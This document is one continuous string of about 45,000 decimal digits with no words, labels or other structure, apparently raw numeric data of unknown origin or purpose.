219535029335828948761614285740996749935918062819171696244710853156849656824984368705127470280184200440378449201762418675955198590340637982732582192636306725418536093152966760310409297204999790732743565457319719834582688720996315905676837451414763561550800058624046434294197564321529095589943976348988226422609128668070273666580397991219497780923050972950596006322167118062510660455093028374134623307672477857154041491667598987415688803365081859166759933755798861593157613964351038603862400911391039959122177567119349087111915439268573975736232160932139777199553044637727294295061369544072973441933497000535321856372795309350758941367708791841007689303853839539334158589729640897087154852339153414271879673355010797379137652573043009195669760668806309392121505037587181026090645455220102616699059908294282992915544568821859075532918615086208895080825671252575676832291200609933473175262061096219511409221770823523297471934392525604545348369909145842499274509858353226831399629616567673554494281164198690524110879411518004801178976303124211991184469542431223651701391930442291422298567285016470361194634220258143626028776332949688759266451671440184730970091026489297089217893235226912567130791573235445958527526622604715424221707087162288891067766113515662687450987722261001618800061519179110539463282848644584125160283170412542014999393232921827134212372171011388788735478057230658996187679704209609789299970549682189346576746751943373547804074245917089983261494343707401495341917156663086888253147317219524300204772066332266897938501955108364681531526351221059442833309562535817024567382805621837109861461060680103317007817847248687696887893070480031888519510273889062107886739435920723274136693582969895997818660267410336214743160578208625136925697357499216635788190960591044857056514801583385639029714851183986610094972352519317963585962913442769890069949980677763536500072752258176526132788640953389590600437786499338934673862609140850170571142337951654483825044290117434249310802816865710043242972653719368256086945899889380745214679820552886782328014719499763395933322696106271278024788306604768086974699969686874172800175122868969397868218630492773679922474134663343590477896143552086684554484835670250335771714524570144950048245190581142947364902651892402234929883775217962051241096315512125012478528681925528095245909693376250299450851749517471693641852586805277613788176285001691066869714843005375550020686329110311127865140751478043622518094243640308551065870787651950148807352322537037585014545626582832923508252198215789634573312570667117595586421769809772660600392183585864602537847280947607466973704748339401373177864549192860520154730801188179202390757796783723865587815251104398780038954381385822485615352938820933470643081806912756822316723737411792908132742809767422188080290415318721089874689342666170681612112369884794004342708869610012216433948619760017581009674717364925319995089099435841817108019772901200095067118705676677791866191161045688311491201324848043940085491985743017064650581636018430914342113228937588380077447022809480256283652614830296397807743016862233999676167068655319569458433549304158365570612312953875800756491002253314403246367723715388990746084640077124462115580612339715102202839090872652785046789664011704358632189968132666416178404368131615712423649617710537384717685191259303757665582307249472902765034484268005829074884618037523639233127930132350013377926348641576092522725509497774981503353180102794089174437634077585492278884522633037654247062734103278077124156569884090398988009880040388823864612721742524057534756889606426205708260248757579510017691898642444387696562950306576065658963997017421296949679131713993797963381773553600037144735663213571519278545963024884895319677080875186166617628568570141125806177225700377675897814478445047574288862518791548327133078786226776168062253425832317418481603270832932867727871629067985320798937299386217247162019053331013018726714867854894503488605093558160147120997551086251132719599570485501962785756002427419771245464520395468979525047070926794311769763536161640016610186239253407349345623677403542638084280077429431793819061830713140485325235656995584468504464476767996935483565375299094151396738164171938298174137935933939538459353677144698267204367546965327234283209766160172304590795503776151610133549216078804861854786382850045970124356661115316680670990363516029169746629155228815683861934432131954597578371243269176824749294142918429758040783192215827668844051258862517691177570394149746938756740316140314159914560464755203227361054656190131638914076807740527298327739867434970902059364292877902870859279022356304779902730938061641597391948522654334430393210305583319122662520255796624073679714790455888725458146725424306489328106935765633191130129416745957602658911077485357882075393681441666104208394500190693133145702076477629025699695501261066996203156429562058909325857966941510141449310643940796638512719302427564862056113735973396805764962883456685675636764582731411395474915093225894269137722305825300217895973589054963000851276660365459308736660918151222344108897402434658673432726421973577524735637899978816695238216625957708232692325679795588273128256688726921314357331286942991768241542579819143012479311290330157179832446545596975562948281141876440995790745428387101445415449426011282710493147982465152881463896074905356784156206793710879214063011646707870860972482219724220145354813940549268465499455434258129560650661249493940282181593208967733583101163431637962885633509282592392278015163655981170335901420966938265832824106366145052305201430422023504463430508834992441455690010588193499515708187126485016334956028895910681713733621125097032050507175699643455268500569158372392392493163386161051862696858995223838404291668664606442441991358366658634833922843966725467959858481506524871586969156489688884115129871548903352478571775807684111850241594263819509170311521176528730925642735996602760681092896353188299718396426411114795757414841880373547301270614784590292477967253900519768075904936066885146986018949622868601728637328344668137027593957928448062330647584950352780408007657471073155209946752639522807994155053211786854661935717750463063510833221994466600636447275874031848125210153571291361579118161886742135977367618660772509256407223148589539560365708616420035983001056824477353988093965442934034585389815819767077030358304489219138076126433160342875401043945255479336834555973495265202498239145408244903290800952445071764640398200115457164142698120632856051457262911244795928291711993974872850329467253771160638130601064713464430505405164448053443661447388959018593246703913048264945046767309874017531943311517165362114076476001345913298021892163136564282863181991216084410837633748842000552662556611371778855502397335065782859073724875681250462971097692440423544217450683354425633059019659771272961039671737479220585883661043458458831394303627202906206934162356780466741087883926600221261320156527820307713792690071003981778523200848526592923124395252691929392164025756653953016888280478450579343413889593433660647105048881735029914978850813590756678092697550969575948846863257106793894507444289681837925054479854878346581455875458592985022783794552162867917043142670764072007428957498039693178933292400445829176178610189267596251633776245501124399178597625218109658594117155582800650773678322048079344574833231281768785465300566662549613663299798145271434651517268116245251038160331234449037155493167159099006466226085199780283144907059373111290832347103781545872166778782123000188396483878687688050112893954093460062069343962609270495569118687576551225613567521278340157672761987545077238020681694371572932491377504123079819541884291861873663284724586835922241670016085737237916016440275186667275729054408776714888827065332140644617394888877352254649916344190200727237285322970812135012655153856718084122028153240873431270372745646025328152719985896231148424999173684985746849312265636777223955234662814243190376899005085272977040439585067506449537485202637786173190114435356300913300506320416175430811830673296835150115688052049201069076589095061272980815773065820791301771856762849293622053262117016353661330290099825143160493400566208966532665704153461393134841426979261389312348640305697155291766159833204787172494602311187060842737685362621423051974103780060827955640848371229008796821861306130913062352271081909648966441093880235279424634275564224605079579460286017730589897103482294169722049927283127565380697330455930560217715640265282216392390387830515379976599086524195366400959234105090262618666791951450403074708140221480718438809903516198457437772387054205120126592921770200696301766092927805308712537177830905400981220547532959936201257684068527046971735957796213530637523022362046238151207058544159879817821379740909160609195127702140865376586037268956787963568828609208435699112899638847243497654293835852929538728051655270824103399217555332533497839797736807242321844232044071599361601441842719631317499633129297394314256345133567066507438455390778014149944166328846306005878433814436565060550871249467885354012510281551053222836162245048251720039223598261573031501843797197222802812152399906996246263481421165146957727112338606404504523170232838730619513118806319917318287464345981474055434761875995276294987483620645910601665707069236922678485365180302502858603794406507903983805960729911927247857817449963889188483562147063367786168928796438837228199565706540591244051120259431673178341105550732193470748578876390400797275292360166465187401635937273953522355304195799890208033580213393249374927955982053475326974038987653175897879482136425304515112493389917468445563401007735599782859066107795403232026351041582244936310539218375843955342531725105555807507899478306477457617597667070797184669332295168366608906713015942024638216178008957444473395856648913474529710895590033510995558225447316339198359126643857376661885399004480730765138918951122312555074305442329129563577684340878492660369542645974541195785361137543897258987058452879073525336048116493071430186746439196078021268904712708615632604048575472999422508026935147406592655691719455842578481832239783292016662772601745241479326887957005739775406514882499132426338961277645672637508945240303270751616512149465705547853693840190079548909818201287854792342495719164333679822235448189500922703236321263388342932955844478656938662612519478779402196123974520336560965914273173578914413475502263031376016741617082213390195678628053976030718992535334281039281584722790107993299992571189998182439113377646367728892877867638978027183673760535722409483021805647884247698676433362765532758516871688311409416454879907386930684364012186278043877904315471231362352264538574904626606669399114379922198102455181795553201401567032180793493292573155309644591231019233128575203764724883321604755626391717592148934704033144273435743377302295758397698853173173687591082402075298038356924120472503521113622376754547320153796367318085323528114439240416439792138687767982033639813597736144686142673351046668291818121923180921453707693496213359327113823508550467291295450368078229827754332360283702184294691779424802232886522763401326031102214631036783471038939111226938807803945033170668906747674486567066399400572955100962611621668256665454079418206148266936794425682904220757414899582276855166837779186863514965245087383346199797774003000734912000922358301183188371483597207603167741952123057513275768326156176677211769107284447946521824787784290742022873062790530931189984608812762739359390946999715973631937549204042066273181817814519987983211797484941918693088443554951729169132901779112572419707886376905456393736933687684685209829949566962195267036511419160992706088926398170560684197682506862675493167198398995789376636931160747491170925684556461671190033341291061525417698691679762047491075159116615668207157018991371959685262991359341480290960319808064261918559697133537117229801302442027429836322974578778730708071777978296238760306972679508096509915017712425007761344157720407473184807763968901828954637619035058083199373989571691318238188941797561067206851032683259223876265973741737847543408634837996325327319436863957118961762031480748300804061261475437795966009920703015015695817483767100917418686292302261836472804353494178826364775812962839514489219676901433123436717628484122242500196690846403824390022039778043076932415003617623391707510661329524904455946584132259106918798681912944156226217203696091815447329399977638108246324462945690163264081666573270706076817610242674015414370345886272560628806929476405188752340245276244661754799639682822480062642702599579624424451426552609448170301564544758998532112630215476320811600205009700189241742933420125831720193185301961417613221025375993827562814716072622184471391697791749129350769901212900805027858281905509738194300097287077489798889394086660446940552583576689129387073077038137165979840930638259555974162756479422969360865083489336310257336342467433303146892726184457919503819524591279979775095202912938561486901919911500042677030756038830431062500640912570401734018410808345196282446110892959652634766268731180796687897182160437272539599001296305671424483060230204339727191843407460777626460804577499123115079517989507626894830274373727892037356876621428640847027337638490229019773212143495784412587560600371804024972961028172841862285127477316195225267901364054351922661125916810450788130542927352867180237402636388184173239148009763758800077038122327397268098579345263418133004156698309952778073605000250569818432563205806901350196906909909988737237270790080348076047293417470594127861724313264800130328890816867572145556824865537568630704746529837289155585124993908506401937269511468069756010933535612882442119634112901069519903013137532717852836725366209692459092930213497262728676234976600862872387314552767262201759393290457255243144200303460587894490102293066634162457500950238566383819343012760463946865172352075925910843988794327686722335514421413583111579347798584845016940038175857716615450642177951537919890332059981255854826614148268045625601099815465995731257608544063161887429994267894284740199150673823142526748043890387584606627081366576690679886832230253953173834657492472470557745717086329617203647999079081228884213024336009077406141956020786253660169521888078795379413076683515693240996007231853323685513523339013570152782950294300307825162538995358648471227922778800257056064516470572876645430432891049935614654379699620060777918227255577516428373468503103282704496212500276723829317065030178380873512925617545864476093940119310883180418378301809542193263165378254703952686759765949834534922731414398923693824996949381437702604100359653979841220707806967691983585073152691823917549141497635432630132715996070770420092804446533360874335230048908622999078867972462846744473571072937780185377425851276664622156417627517319373658624052720299777469856539494516272718626161617550247274988793809945051117833883874292401204691201479342712396404207843692217552021636795487501244827748465519828720977092139342020995598162367192602213569090891378790919021255311881732738237794321603650502983367430056148368885656138530814793050212135797422352530752285128372105158014712411471853463432286349086394334657447676786549891134416887759372467419169615746234923472617401760817244033718336354338770785361765185098076287732982589121115508681538326976781989645100433576814038784031212073813446158260629187357564628537080044019573780559705597049124107500861768334676610774626135308305273545389642269934086767055665946426103745456759549748914958772554637203767800602335358743855409139842626112474227262446905281061559806252508416104534321420257632729101193032364264435457625967307786474304611983356739568932584887903411009791345352229106041924477245964355490207052873745568440470279379833253111759507571436416318970401983536427399478192823909658448270635783225882514755237333773996948830386252376529904747811941240442523500919682170555503260552685725457391005246254287210148518461447343507326705180788257075024655316974866748857963840333809645685940356648993696831960640418360017240123918578929956616741379110880691361331379473443334997219108417843979555493484512742483755469336737340908598227601654313768941751313512021669215752214654516713276621452821408243417449640064446772178738448511851218688461153778287307942863529504114761589363202048483572761194135022561544643606320554703772281320754566346683780102011112303049778429020156548884048403258065520520465615723609368772325155479514940205724158651579653183677161998186451040684339323752254333418573243814138238183233436616617641722596050986399933525088380115260888149454499997642356676621897062957029561347745156260204242616061658573118363909737200145636207332546025327024446515223825476854549317700088917968560671721738555457706632561406168577654468493635292482345004592674085152145462240886384577873874776223415384687680615376534416471256110553318645579446548609037054617758807397725301409704805894891904818204628933387618474055303318296955860811018408689748459527668229791242991185959018676027930735512021846346101563306336926760884360717592303481786635860360968810153427274717571816695771564614896043494769600969586246743120100067609743492007951269990591992849691003857159744970285014168236447797738990257122077542906868233504279763449236110601569113610859179350198938681775193660497655312719869045768175743759273097557697517561724382632146498398868265012224282841286703829809632606187863852967270319581095135748574640646148427707102359590692608479653658158090513943479049651508456129755789263482762246512231927658787309767466432523311202473783542048684058352764158479348825887192319874462805223193807179878014495057133916796012305037854772020089137796703971903960171416968413017084778018333733745646665130347112383149107726355003495373989917391168552059795798308208998298374053574029829390377524770219916294875366593947142862285533701452821349146646261287943031944276688845914148034622375825637475326277390001663500101995597727447454366594374537128237206600540228980575442156953810388980489721603001206199073182997556602955882875325076785422839873432439265703997657435302706154307168047522326417113372632091805265688869074813928910307842119715549477021165304855697609953102797858678595281022617663239394780008701852467067321429679698336310800559499964355666122051499910990300083436599224898417294190114074657379465623262241834033224340421316352998020100916454963937971943331297075449622196820610077654005121318114000122274121148395052058274901874604765105522616679873562486977426447816398961581893122627520825569528493827089959880740517928396608589031324340560154510232020427980442815493055309523233033029318564547013541362565230996006741972687159869471188073098387667127663867718761923439846553896684045937370190681215971041762689519550090017279767597228552470984544328591724089068326447838854025040911552110642070756588630390300691382679840325577519762034918453775410513556440950728962806423170115394273879598298937041216120208962752458254855033341562851121795342433281658009969895502080186115793023354170297294060013327352978522466201163077328543703514464050327952347128905166520071680355183133399782084712583649607745782643141145333806055977057028902193740150385629054358948575596060688231169130203396794446666598037228840795141601388661482723064420057407997462209836256326022103343927578686369521749242552622183128162520919900168654708354560759847328828645531557838640043128090809008128575706985743437556601671216763411653645770439422378173339248010679297968448454680180293134238944195664709197392085254980590209294362653230202646609418827715267898781974170263434723606943716946405377195360464837908011717777946026622282320078868614545663876705522759378839956422052751019631662420808132023227534751583070473178119961843508785113307484402717307191466347716032678568077887025400226708474611090320651709695071503957392333000173623158595515782378863264361332917861464898290207197973648988865417248165859162495188234450369517317122004808186699893461032563930782287422609413897957696978161731630894518365447884823983898726306625335213977272007401956182252796618394237653771640864873801918360046295352050775838196893779295596793289331071529886953874723223877124033594158044076284498625023534860055302761454141554445745253560391429197434917172639661094788361473882596456457093349021610681099637538063062454660328323316048810732332076824724066575280297027404525287892003602858191775589039333451384731704541275401808094389985582787130835598121738998276927900992736476657050564835320575571988112293515900615081364146543937239553323728599619998628625753083711460544485539420389640452036736023747306351119055513196527969115034541612036237567400973681951586502908767008313489112794552935779448484756174582485416187119180145208325281811040157579756557523849048190729787376747743952978157607504688876774964864140136063542956322950871901599369150107507241751728509508975361694922204705510464179865661442680668750158032602263291560403625574198917494520797935419982257278390160127465794297108854637156014593354930452782221201889968663878420334166066427753055833283765578017676993224174793899310491604525698124018171847441881301683471599215128530312647533490246767304614325979214031584700181813612602814033784343338786835890082227600707409650631895473272480045547791863901862889560769058489862496992292823475379623228460892441561977190811025074057002345530040452735002345499720633324362387594456903370038814322505320074232346424944682418658057792503235477308957269656609018470261006053164343132980039115991721532828409481371034711122110299274167045787089931343977180777820652258880249944850259721457715054749923504513532603210503073515978156826871569112747015083275551223004262837321884720606798681046335995263766220434173580076005805006326114331916405978325054212103664985833699709473399389723532285327230405657657242076443717974749157130418744812217781396830388278501315139278865299871587328138542819703350046028195336116851099472986015858785205258941869911418482877303274090948200360093506561617125157964526281197737467999935681888709807023071104266817317265014521255140412223573530762964127476008218599133025804778379208266928310328196239850269404137435929885695161559613735136500585186471815710161615184198200815348840854692431643516750930999627451230532236292170949353157931367961967515118640991035888691846503891632577569616707910867589310798921371705564606254677841691606872401205498269009232538460721591255159443352150668041121792350096299364570636931228519394176709723499114067622113003321337853774966420940866004138171283118922607086069811074551602009033897719886555608850302650467364881285593258413142329612115850622487643734496896823662631518197374599990976003382031216981159632520676083295178139416323752353590882200158501261598570720164053159265973501357832952033867490276041001574134339093202604798532031031993108482467539765710379994105464176380443975009097079850702668600747169560506138518806423279455721869120573397708111961799911062883280705405909189213509581064836677784929805527139409705313638592062471509324161979056753868632713300080196642021442596878385343187306612435857236155988049265485306354174516851555098818313360930107276660543928890367855766794273380510013628370848579090076662965147114184463612653201613813690191552079580019311749019554049647738029536284765229635381237315434540563573547612351019857545400451419951347180646350217930806285264862338214500708844821106875943294542650574916321914771172045817241355132932239857673405892963749765021765842815139022045722487696150018142123413732262978572731205267129483628021655383065053459777867826846290157566497576480061945947250631359869469830581990136367253000370030778130142456616940206792945531147967307665150051051722397378713448119242858844978446933446405315368088262914171300240148642894401075195715873078676544002978429469482200156299983524110778367306829234232647143848842061677027487697855426995461183381293628788858603796396022702046062512188308553863168985565888361539498208993898183526546654164373399314464558237967046416177359202883995721378095579834003850992726502297947580949414204265656585251324759508907672965437271527492778368306665697047615477913099990714720727379857393974662033567147428198194535638042326860064526271336978124227013389700243614892537785993563078669610067753626777232951644152963186434781325498865757811573814518671845892744242364750599306210097869064136592842474676221518251502791471303783166497704545141160066620048059209707449543068994148166114034895750500495401859199702555832520127985377052830044081556834855101930669116206823310782940313649971474736335520801496023647465067540894935068734217030976677458349426188811728946563201496917737193850054578595543632673609971024058840253515499152193440377111301498157864060518538814921294116936217633485469418820765932643967584900544200035375251112225465523117362432101656723541872401029438681898327097452209650375006792757062072669279611942893475298533193580492455382321281651776431924185863688010436061146670171863004763463951258087579259437826795451646583541249027763448381852750460789570839620499804392383474486335994028227854895580024948566696617445859925079809402162535839772693206192203804877956317973639373656408521659752516307795544824059606037735297307197941590127934383735050918430056803231611085354983487172314140063829365445403267346780320795997675937503541103533507553872514655867809544245935960699477069483087481231159178328862547057714504056603520739213514045852437876062418753227799540922464472659148145630997898459143211808620695746415629031832666783969715959361500066871652567418156378646773359066485584083312340911872737535228843755980499964824302458315018499008817411942564756926768186263905357489250112417075596930806529827713420403876235328466629188432026307573817198817437925125972516124245975014893814018437073818127474675244033415987148594012017810393332780966220285019614858570488074052585913257031896543154624490089783068262545122777466560236613384598264402690843131586861038557339152782506463104339609017791039058583754846964569300220404501131163078308772349307902122413638091125592250122593328130503835965256796527656785547779697878441243442490009006077996026756253197021293547226482945679159970189914778505522364392259091751285878125176912006980324311829347335022763063364508369422044176535775193239086932027025202459915656675106555379892843787725127302713295161280466787393134192386634924930171197919347367991053194835949578802245546272189468067605748539744082887288291698264426077313009326295996303696595690436224377950930928381342176976482281921443957973195689007829250943053712284945106011306551612440767471843656414224120185543310005172195743856551088735627399797709176700811655184219670138377180917086076270023898011699148568857768005119563571311377520369600853483784731623212573545682926008342504296798794008881365922982667905818565376430490825988476676135468180520182745534065754662435233077156561079909581978567071056099558691740572078912455372858765411332925182639380298695327612356284628388951503649484457180696913545176821391487166893556337880318622825013240939278892435058471380953253029212244939814002210370655297201524204046475274284960648112432946155630017101147721904442627144440648489844975205422463135075452737480707600124218415771516793992228140232576163715372263312232728338979564193868868579620609274458784412080381048956106286740716234313987978455717793319134390101811063321057870569232596257204662538567028191112526732513021878779574220163018868639719757625410745327248547573541633755037366614879895988340515129487734168382094601728014891450238827506138180030365756807468597175101477911648754037323415050019826754898671639304699046211050191880589593045337929262752218201247993966698184968247634120177308284347121900482857631376963895002076636343093609058694952874108727578177805699474081420422123281144049316755540814171173570167187713006974304266793276798214144094620063138722519844445438080721640148440576909042998031828047843574036282881006353987000044578335223320818158990162417154127932478170042813115387150858523843802157861086090686899581811625501165357292549048544889081904946565048655212580079904641935536593266665717106583866574808304755001231985702887224571952420350702019843101240462960606283846065017525284624640686005888702899860292581591963596303627500294636115717567913128160828102541497896838205023412703232460668732391755615910969013509504105148829003206510231161532783535701052550292171280196381410218217062013697614237530964374896104442039813947226072722872874803506255419209760982963443137721635760727913946843446288696581008678286792216556982318718892829008451527983243658455708848479715961072013232458452969995045081021335162427765524655158795409001585298575333352056682179665752112482789036301651285817325605107676717926945884241651436611559717607742954677078298779071678967480047978956525748503864930275931117959932163858792363317751424069656477463464411928005443187930303951444221550367246627779624870019007364526297671204085415458898886711792839215201732995372562296968860404032481516543792729738757207588215191475534671219866496293270638308414201825057576375623849137260631660335254006319033893733649922292544310521372772244516760498042304812319745560532056055783710096536941263343821679223423544675629494839335303050066103300813177190228076620154784394943276135533878255568933964731068343221378487220659740054374340474623276135709021129548439344118229722382477627928123185848991476928133429471855009908236367564464101621914692093099224219043502876149985426892335475970960421016720968978307678537486123019939950319732685130787194352940404127905317141267672141735161569534407464762304201690402314799208635247996104354438622569870128509871233627447710129797546983408754959830529971253272692648738831585956812704045221460056585272546271244402452707259733347377794989563982435664333501035136058614188954220264496766031395784673951538012050431104421595980905865557981348546877588499384308491977045870950615026978743005917592824668586714022414341191837297464346280638882371144117998835675809332428492685453401992214111883614077106326079417090431639008776019202033514583467222110947625464648305675057732528690315598089016830643660109451682538697133587669978201560657286592533666825533910058062412290831399781368596723901890143433374479803121567487819161786043743780797904592635642440269068219905049729643407315086308479678363188896398859398668936983355801795792831634400882800168207729839397407340624588170022821384507548173860821710189429977022941014176521097550419598756387871459409286095564125560559066166913512718180416217182517839559671958748339512719656125779454467820894463720947338381920105361705345051990504332968324960908887762051171763133793523241293348575378998402672285065910434301459463974477300983595652347916276545783630443622934998993282653257168225252994464831171776178783913359997025232132617264707723605319415531490576563519902081739694996071259856995228575177707200350265396060727978170399107470081411251067061849029833963995460917338892813030981459473078732577203558615154805085655298093823183636359898802598232596516077240721367813107807029823327363756976336589573748313259082142034919321308223580656348497911325501247135893869046325597663703603336168067215165001031634997433681082505386156766330500216825793362879815357943749682118477998766589648492436665332041256043046533108052985989322633720442811906192765798549235457420367379815809482947599637524341859695035742750400411581361594857367346620661649936306477832884958939797057599451251324400771202051404193242386547484415963959026597544457571715701671036702513391666576607967864775007137647671120485214625522914125500397403441043816858317300624729664184525349439171289827300552144428312877506106153422375982304935553663867810836206837153206108716587648225527008709054359499016765740877852905532359475193923011580851680202983061241863497938039506092009230650911306016007376320937000455024816346692757019681787059227771329468184085993875775193376717747603700564587345736046234460731963978505076434946917327012426138122049051225517579836545749907744803577573051276353330132864313344120832421893527214961577286994274065616527328677490958306933574039014856014121497593908611861816915221640413451985993114396807499801658656113248109794940628014145016847634097746654926135214190976988277456897119687820451520646322833899318331808324712527176708322119010388261477806483005160208556431265494277931540106100673257050874657768307368582596598187531532046050446240643530698425496781934118738550370258742633549473158204228779330015470729164774503714668921182228635966076808531317034303292828176392465163750904860692811728799444605295222879211760336859653000052753684617247937254449913903602119128438614924754231581478881544430277603559991975450600290074750907944078309805043387814841856244850482274032132317762527635157179076950387277961548760830651457240810530983509884236989378009961798733802213458706718654580355081776243578879004557790698074449343540814224041086230209980205032504109923911690800242393296090431929787440198928997727167350383433956658709105873594075677139360662731236046386118313215500755899686033951459070415519496015535534629369223565921906499690462888120668389459408634841008387955285675364378014270064990744035515618738198392936066524851859384211468945135221860945628768696052417126236521645181543018245034259488242378712110581707049658752739847279745463595359879876256914242253121475906995953054687255818216357613069284806539711118374224151046304169197592079628175217269523855029061292632351687060197249958810490924735056178176692515574532548490328577355318944156565596979129587150973472389321727573489867151411657132031328504463630511311039745436099515587089920333079483357307946795028112959630595265662544575151522577598113030004737701812219218744607010798071853510575891837734520290990582053702748966043269694876726176575539031541727014774607746059787889083084610782159152797002374668280406015244242875905708644934527681736048550286656924483960963716164672903998739821673175475101376308732289018905416713279437290357173383927567623864343057092117857426110717720777920725144505814335170745512486452940799435726426560659449472882994381106975351765459723787071110158319883742929218987666579652294331419260963493441987124095740988996112560891073072442609780409482322587174166234611241108552601657995697001703757041356673286159556867330773337614853336462849114087695961822067215987373957555491273366717033103271339571948046180605948977593989260358544620023136740156303506659634885271610958234547112407476017308697753070141735753170539750153498364612683903403046984453701482309464195380351167441092955073426748056077460811534224294504776510075040266060816557237784558521116347027848032391937645319023238540265435542812779000955743007576815328585385863601374026251474676061369287960589123739236029593075960346406172343355643463473333373505264470787108753529250491365651852606266993726898606736256525413848804109054867741732674076942275933800051260580867571887109671308521016323999033013382903700920815503059562165105237780749717389019127371418178977249570520832430239066987322001906242092876427496051159364799922900876477212428007772995007480195205753615650845691940518874755240271049117377321160754579995391358671769235295895227980268879101622136932644970664890834642203560854968390030222010551927887080715880905147708961230893563861612754082415802643584061287732051165133627820851430561847354000894238312466036068866238382892189046913668742247258536248272484429349380230262500405417332978473226721888550923883070584376548522607653531394021049147271240464837115530769289308191403260946413812185624222586120642327836004677175969735377584181171071280151041458882397932788340608593817366239247150585712551539737767803457313791358110121394381978643681663388187863796953733679218218940217082868699368686617998137094679563000668770041440173645391240291684299671647535194652619421708076351212907194831407506085168545225052865815081567672443483050701538717789365810582270245555542752950320198883958909754628217008019071389669158420564992753974933658528547018448703103743394988556573201033417108666555269955250212100909923155666603251769651337897097849792642550135543631221979327234618579700786977568394231661851352164234146974420172063937692426921257197980939337772187000372113616156737313252563619616091860290906971351991100158080088972926986145052320523473741922801207300111187212871371275665640857143238920423015205743461593070338322723734124986391727862374796784084747437170638713711554518995900593189419927384934098667575501843470550946936048623922320533244654912802834650075064247500013987835287692091348821849906899847016820578688473029423550697177059159415045964404904598429858479336365686289975709844344351142538210990596671136744928130404102269658448798107200130850968215444721404980597533805463510727028138318683858595366205228499711225574899855959924833111264970730362117963937580081023993806151641172740023626585528540868841096906124241273742577809151774309604762859871719453674962088847882000469596483445060822690600471096166668953213940974401680969571605763505617627717458562049330810884092324717218262845228513643924663460229465339350755901738407694222762738649836473300993033292511475011620877078054149960106596388754683523197753649655074159682981303600263591616054223704666143595728481131268272869040272711378298081803691555108680031694878632713409425218962073499461023070293276622451910014071901772402257205818168445219917423984308004636957409807742832234678020376199613104318390741218240851030920273698765442385505708634588581782756247866709323519058999559167970872708500954434488520992290489705719562192310795326905717564519106166241649676973235426772976074867922850134342922128205643619798919563814640905698251389209300173147749590982256865091413583683367942646291642817407765329872563530752964664683101565115159373597863601844235440576227242071535694924654747955470948649427905050843356360744936875890252995331370668074922801167577390275386467034510083338934462730389458712056098171290310466029814693075922812261292738845475617261487865196510320498622283666457181021694703597234932355536949409581403855302019416747380586417610405580581447618771889391195823030742531425923692641276394058389259833580955546724712545231830969763626163360226470678665935783297639229942255245835209428304290839783576098872402506029569486049704193144375980464982100762855251932782513945215451478207333801514014140254332903542993920270625896538786229035087081634096068546804460957094257371606237608121731180829150888291770637155782842139459922233425333313958977031295020928299024523398282400676739444070666573067167254984686963070474511367955521191525990004057042240102556319448847878107812544239993708984486803583860296337012646430058091116190746293064060882437224283340145289584947637862321245363442922970129004437180269551714686289918434378431677345466038807648963490086582315379138495792687011374118389697341380992731535108190988417505924020051025696621385298791589110443845248832870702761305110621146209801640236648533011173911922989380718486447034328090540435654359244734377720906738206739340524851341423439811739178539861949143585956046156955013480053254114923616647477773900845032753167356875347530182763620396848257450942265361133807100320946086085612142519966353011890959871458533569366208790860217531749424469580593543381936514911735384538765039037745008972839630931898543681624669288284956035423626120572471793242584342168741847912438613982087960220464934642675796589595388992465061626800550300447241425720652816055040604543035147156180072371972280487462979667860258488975087032810206360538000088855638704743338028781065782352650869633329668346673441460379450593684183283450445871551386093896435967250822952464020010748239409975111871745506852038463169967842286795143670585614746706371598314930666742367592874298369284434142260407364893353399460063601361533081587595643659674022178196431635188393254238050690601393622796351141816722694824440491349418503408761044905316330909572278646156150728963311454630926396376690457058864082365722385236100586109714218426679072486586060241513083600984286887212757959911554016837507177881601864979833498180690604725514803514982888732743279731809266709611055395605709813142268075833706022500932792715903510021207073335443293360652419036679004841644724436537093371025126243564836537052307840072158501748754068526857916705458714479208504809049814028238560298853719325174686835577492117024157743211742851692673371192806713658255066343100007220796541984113610975497605018493901595343674513146576158190716425086060179562061591724483143192902359674075017547045655572233459218717627605817103478716570817698638560281415785358477684544698036155282422583668710983280618324538452761120186188595133050617612095175955404655756688401389221451066964305505702301757660484467165372610467759065613740692545193119053654130647979308885435195657401854509951410272041775996607915083103729217454276419878610675666639842357791101373199520965312343594428295254098492330242220880771960550776460229760314374294556131918504454708849368003555334460817651249359666980413614572529596648418118406121886160752757819027207679645801162710850083502382192134102768050498373870014783228382617191508713637467030483960563136164458061342348137999164458582399181629406187663665508508642945043986323995202084312290092188542956261979662908910330857333169149328400733497609873298558803459342080462320710853701327208626166434949436111334767428021731957874574583864720676378673037151166720996636467871306898414952702689078425132076394414284094249237945005756483341902072699441622524027930326311215985415247723177146269117368820314133099463281940368077836573407162389387316174138282288280478511167984015207551692152449691831749159053220711618498619236156100795484330488631405639842292141117256544595873701021858338021103478619526982072937423543415293977777160620468739206464149146330979474323864682337456280369953230107096714037123694970663819169325693344604825494056586039474821100621847266440780491219296575228599472740108713145123360081086021150611249994866646181764063299663034017171403578616021482792266302706763253732804264808535395759837447945155982821851943219658830518781732455535894858064555658275650142285298025593748331520049682757374515422114977947309549842012104745148368963558654780230056953813706553306624717252507994956903354768105697119114633760188795939154024601564669268352607797223830424679186624802929195811554705984952560913704364745699975722526656088016587528540206226496573138063496998405221653904040588094287244076823602868385552541375143008724032632202976854670753213365996318714990867071795061167624202868479388165711099630395949382034924064810019599695176924119732482281862538397405936606803717233644783601809804714761165357680922022201524684373563102507941862163419175856465219037726550502691994626602888213538077194816160567845086874860876291002354270736490138211941923253704152858411329418481332276412923227975947299646126376554014128932763368048784861930155387420454526084800555938946036141182014410320830350160998427574421388369510240738572931798869152511297727147628815057431994697695526571738985338646530603585313427976475904326062465419581664522725982883278404771072293366929458169846879924807077633599410534173093461639496452476143911074728267823564073529750179592488184383376479608834336771400213332225289408749385957930186590722740233070693202862320368428147036129557395774117320844087430236901979469265930703082574382712920890091115883982710626380458204631563093599997686828261968113486173070770956449503258398687926005001612853360484260015097735068655100880974759784257725344713002115447762154186446091919863184610808026690492839848726473211218057851624163679387925952199994040851412821098209346320321780308873446150333217436348709773689151735941546747543470200051475496165059492896447308983382160437026994562337730671816862726387722739910872943187873065201312655806328494122743605403162392030004267917367269325613134159754400159023641350714951011482607564444579918489791172164494672362278378356447911182650576946494858755771497491030228997717850215734496574192272889016054093881595726568201560619784042176095706893582345755425771883541813929693782908854212433290975666560525525539739791030494258092168126330845436831086295625508682053917547030828181388759031930688813460695974270107859245905689261222748917441498771766514837860987398668826843077599110818710330044903839881195641044228860404705344102686751711461991071863632845989075633183529670045728422856168793699951286005319583551754533006261473827577619777496172512905309313055170794739655823677460526149034662786422750922647698695731093138824279255980069785876660311173188082774092915448693497775852161251422030569823361626284945940972478820414093764511146653020328931155719207360381707082580728387533847091789725831665273159857418806381862588969639948342542168252033996113410505043891502075575840550279932294381440420513065616424054424082774967501722890909919859619162574963